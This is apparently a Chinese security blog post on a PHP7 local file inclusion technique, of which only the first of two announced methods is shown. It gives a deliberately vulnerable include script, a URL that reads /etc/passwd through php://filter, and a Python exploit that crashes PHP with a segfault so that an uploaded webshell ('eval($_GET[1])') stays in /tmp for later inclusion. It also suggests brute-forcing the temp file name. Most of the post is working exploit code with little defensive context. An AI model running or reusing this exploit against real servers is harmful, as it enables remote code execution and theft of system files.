PHP LFI的两种姿势(PHP7崩溃+phpinfo缓存文件)

Posted on 2020-01-05,2 min read

一:LFI+PHP7崩溃
php7 segment fault特性
所谓的段错误(segment fault)就是指访问的内存超过了系统所给这个程序的内存空间。从而发生程序退出。缓存文件就留在了tmp目录
我们可以用string.strip_tags的方式来造成segment fault,并且请求中包含上传文件。
http://ip/index.php?file=php://filter/string.strip_tags=/etc/passwd
漏洞环境

dir.php
<?php
$a= @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));
?>
ifi.php
<?php
include $_GET['file'];
?>

当我们发送单纯的GET请求时。php出现了错误

exp:

import requests
from io import BytesIO
import re
file_data={
	'file': BytesIO("<?php eval($_GET[1]);")
}
url="http://192.168.0.237/lfi.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
	r=requests.post(url=url,files=file_data,allow_redirects=False)
    #模拟文件上传
except:
	url="http://192.168.0.237/dir.php"
	r=requests.get(url)		
	print(r.content)

php开头的那个文件。就是PHP异常退出留下的缓存文件

包含getshell

假如我们没有dir.php。那该怎么知道文件名呢。暴力破解。。。
这个文件名由php+6位[a-zA-Z0-9]组成

也可以多执行几次脚本。缓存文件越多破解越快

下一篇: 浅析Unicode安全→